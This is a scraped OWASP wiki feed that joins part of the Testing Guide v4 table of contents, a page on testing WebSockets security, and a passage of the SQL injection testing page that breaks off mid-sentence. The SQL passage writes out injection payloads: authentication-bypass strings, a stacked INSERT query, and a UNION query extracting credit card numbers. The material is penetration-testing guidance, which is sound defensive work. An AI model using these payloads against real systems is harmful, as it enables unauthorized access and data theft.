[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]<br />
<br />
[[Testing for MS Access |4.8.6.5 MS Access Testing]]<br />
<br />
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]<br />
<br />
[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"<br />
<br />
[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"<br />
<br />
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"<br />
<br />
[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"<br />
<br />
[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"<br />
<br />
[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"<br />
<br />
[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"<br />
<br />
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]<br />
<br />
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]<br />
<br />
[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"<br />
<br />
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"<br />
<br />
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]<br />
<br />
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]<br />
<br />
[[Testing for Format String|4.8.15.3 Testing for Format string]]<br />
<br />
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"<br />
<br />
[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]<br />
<br />
<br />
<br />
[[Error Handling|'''4.9 Error Handling''']]<br />
<br />
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"<br />
<br />
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"<br />
<br />
<br />
[[Cryptography|'''4.10 Cryptography''']]<br />
<br />
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"<br />
<br />
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"<br />
<br />
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"<br />
<br />
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]<br />
<br />
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]<br />
<br />
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]<br />
<br />
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]<br />
<br />
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]<br />
<br />
<br />
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test<br />
<br />
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"<br />
<br />
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]<br />
<br />
<br />
[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]<br />
Business Logic<br><br />
<br />
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section<br />
<br />
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]<br />
<br />
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]<br />
<br />
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]<br />
<br />
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]<br />
<br />
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]<br />
<br />
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]<br />
<br />
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]<br />
<br />
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]<br />
<br />
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]<br />
<br />
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]<br />
<br />
<br />
<br />
[[Denial of Service|'''4.13 Denial of Service''']]<br />
<br />
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better<br><br />
<br />
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]<br />
<br />
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)" <br />
<br />
<br />
<br />
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] <br />
<br />
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"<br />
<br />
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"<br />
<br />
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"<br />
<br />
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"<br />
<br />
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"<br />
<br />
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"<br />
<br />
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"<br />
<br />
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"<br />
<br />
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"<br />
<br />
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"<br />
<br />
<br />
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] <br />
<br />
[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]<br />
<br />
[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]<br />
<br />
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"<br />
<br />
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]<br />
<br />
[[Testing WebSockets (OTG-CLIENT-005)|4.15.5 Testing WebSockets (OTG-CLIENT-005)]] [Ryan Dewhurst]<br />
<br />
[[Testing Web Messaging (OWASP CS-006)|4.15.6 Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]<br />
<br />
[[Testing Local Storage (OWASP CS-007)|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]<br />
<br />
[[Testing Sandboxed Iframes (OWASP CS-008)|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]<br />
<br />
<br />
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==<br />
<br />
[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]<br />
<br />
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]<br />
<br />
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==<br />
<br />
* Black Box Testing Tools [To review--> Amro AlOlaqi]<br />
<br />
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==<br />
* Whitepapers [To review--> David Fern]<br />
* Books [To review--> David Fern]<br />
* Useful Websites [To review--> David Fern]<br />
<br />
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==<br />
<br />
* Fuzz Categories [To review--> Amro AlOlaqi]<br />
<br />
<br />
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==<br />
<br />
[To review--> Amro AlOlaqi]<br />
<br />
----<br />
<br />
<br />
[[Category:OWASP Testing Project]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&diff=158036Testing WebSockets (OTG-CLIENT-010)2013-09-07T11:45:55Z<p>Ryan Dewhurst: Moved to new URL to conform to guide format. Old URL was https://www.owasp.org/index.php/Testing_WebSockets</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex). HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.<br />
<br />
== Description of the Issue == <br />
<br />
=== Origin ===<br />
<br />
It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.<br />
<br />
=== Confidentiality and Integrity ===<br />
<br />
WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.<br />
<br />
=== Authentication ===<br />
<br />
WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.<br />
<br />
=== Authorization ===<br />
<br />
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.<br />
<br />
=== Input Sanitization ===<br />
<br />
As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.<br />
<br />
== Black Box testing and example ==<br />
<br />
1. Identify that the application is using WebSockets. <br />
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.<br />
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.<br />
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.<br />
<br />
2. Origin.<br />
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.<br />
<br />
3. Confidentiality and Integrity.<br />
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).<br />
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TSL_Ciphers,_Insufficient_Transport_Layer_Protection_(OWASP-EN-002) Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)] section of this guide.<br />
<br />
4. Authentication.<br />
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.<br />
<br />
5. Authorization.<br />
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.<br />
<br />
6. Input Sanitization.<br />
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.<br />
<br />
<br />
=== Example 1 ===<br />
<br />
Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.<br />
<br />
[[File:OWASP_ZAP_WebSockets.png|600px]]<br />
<br />
=== Example 2 ===<br />
<br />
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.<br />
<br />
[[File:WebSocket_Client.png]]<br />
<br />
== Gray Box testing ==<br />
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.<br />
<br />
== References ==<br />
<br />
'''Whitepapers'''<br /><br />
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/<br />
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/<br />
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455<br />
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html<br />
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf<br />
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf<br />
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php<br />
<br />
'''Tools'''<br /><br />
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project<br />
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.<br />
*'''WebSocket Client''' - https://github.com/RandomStorm/scripts/blob/master/WebSockets.html<br />
A WebSocket client that can be used to interact with a WebSocket server.<br />
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en<br />
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&diff=157896Testing for SQL Injection (OTG-INPVAL-005)2013-09-04T22:11:11Z<p>Ryan Dewhurst: Updated links</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
==Brief Summary ==<br />
<br />
<br />
A [[SQL injection]] attack consists of insertion or &quot;injection&quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.<br />
<br />
==Description of the Issue ==<br />
<br />
<br />
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:<br />
<br />
<pre>select title, text from news where id=$id</pre><br />
<br />
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.<br />
<br />
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.<br />
<br />
<pre>select title, text from news where id=10 or 1=1</pre><br />
<br />
SQL Injection attacks can be divided into the following three classes:<br />
<br />
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.<br />
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).<br />
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.<br />
<br />
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. <br />
<br />
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):<br />
<br />
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.<br />
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.<br />
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.<br />
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).<br />
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.<br />
<br />
==SQL Injection Detection ==<br />
<br />
<br />
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:<br />
<br />
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).<br />
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.<br />
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.<br />
<br />
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. <br />
<br />
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):<br />
<br />
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the <br />
character string ''.<br />
/target/target.asp, line 113</pre><br />
<br />
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:<br />
<br />
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the<br />
varchar value 'test' to a column of data type int.<br />
/target/target.asp, line 113<br />
</pre><br />
<br />
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.<br />
<br />
=== Standard SQL Injection Testing ===<br />
<br />
<br />
Example 1 (classical SQL Injection):<br />
<br />
Consider the following SQL query:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre><br />
<br />
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:<br />
<br />
<pre>$username = 1' or '1' = '1</pre><br />
<br />
<pre>$password = 1' or '1' = '1</pre><br />
<br />
The query will be:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre><br />
<br />
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre><br />
<br />
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.<br> ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre><br />
<br />
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &quot;--&quot;. This said, the values that we'll use as Username and Password are:<br />
<br />
<pre>$username = 1' or '1' = '1'))/*</pre><br />
<br />
<pre>$password = foo</pre><br />
<br />
In this way, we'll get the following query:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre><br />
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)<br />
<br />
The URL request will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre><br />
<br />
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go<br />
around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:<br />
<br />
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre><br />
<br />
<pre>$password = foo </pre><br />
<br />
In this way, we create a request like the follow:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo </pre><br />
<br />
<br />
Example 2 (simple SELECT statement):<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.<br />
<br />
<br />
Consider the request:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=2</pre><br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre><br />
<br />
<br />
In this case, probably the application would return some message telling us there is no content available or a blank page. Then<br />
the tester can send a true statement and check if there is a valid result:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre><br />
<br />
<br />
Example 3 (Stacked queries):<br />
<br />
<br />
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
A way to exploit the above scenario would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre><br />
<br />
<br />
This way is possible to execute many queries in a row and independent of the first query.<br />
<br />
<br />
=== Fingerprinting the Database ===<br />
<br />
Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.<br />
<br />
<br />
When the testers move to a more advanced SQL injection exploitation they need to know the backend.<br />
<br />
<br />
1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:<br />
<br />
<br />
MySql:<br />
<br />
<pre>You have an error in your SQL syntax; check the manual<br />
that corresponds to your MySQL server version for the<br />
right syntax to use near '\'' at line 1</pre><br />
<br />
<br />
Oracle:<br />
<br />
<pre>ORA-00933: SQL command not properly ended</pre><br />
<br />
<br />
MS SQL Server:<br />
<br />
<pre>Microsoft SQL Native Client error ‘80040e14’<br />
Unclosed quotation mark after the character string</pre><br />
<br />
<br />
PostgreSQL:<br />
<br />
<pre>Query failed: ERROR: syntax error at or near<br />
&quot;’&quot; at character 56 in /www/site/test.php on line 121.</pre><br />
<br />
<br />
2) If there is no error message or a custom error message,<br />
the tester can try to inject into string field using concatenation technique:<br />
<br />
<br />
MySql: ‘test’ + ‘ing’<br />
<br />
SQL Server: ‘test’ ‘ing’<br />
<br />
Oracle: ‘test’||’ing’<br />
<br />
PostgreSQL: ‘test’||’ing’<br />
<br />
==Exploitation techniques ==<br />
<br />
=== Union Exploitation technique ===<br />
<br />
The UNION operator is used<br />
in SQL injections to join a query, purposely forged by the tester, to the<br />
original query. The result of the forged query will be joined to the result of<br />
the original query, allowing the tester to obtain the values of fields of other<br />
tables. We suppose for our examples that the query executed from the server is<br />
the following:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=$id<br />
<br />
<br />
We will set the following<br />
Id value:<br />
<br />
<br />
$id=1<br />
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
We will have the following<br />
query:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
which will join the result of the original query<br />
with all the credit card users. The keyword '''ALL''' is necessary to get<br />
around queries that use the keyword DISTINCT. Moreover, we notice that beyond<br />
the credit card numbers, we have selected other two values. These two values<br />
are necessary, because the two query must have an<br />
equal number of parameters, in order to avoid a syntax error.<br />
<br />
<br />
The first<br />
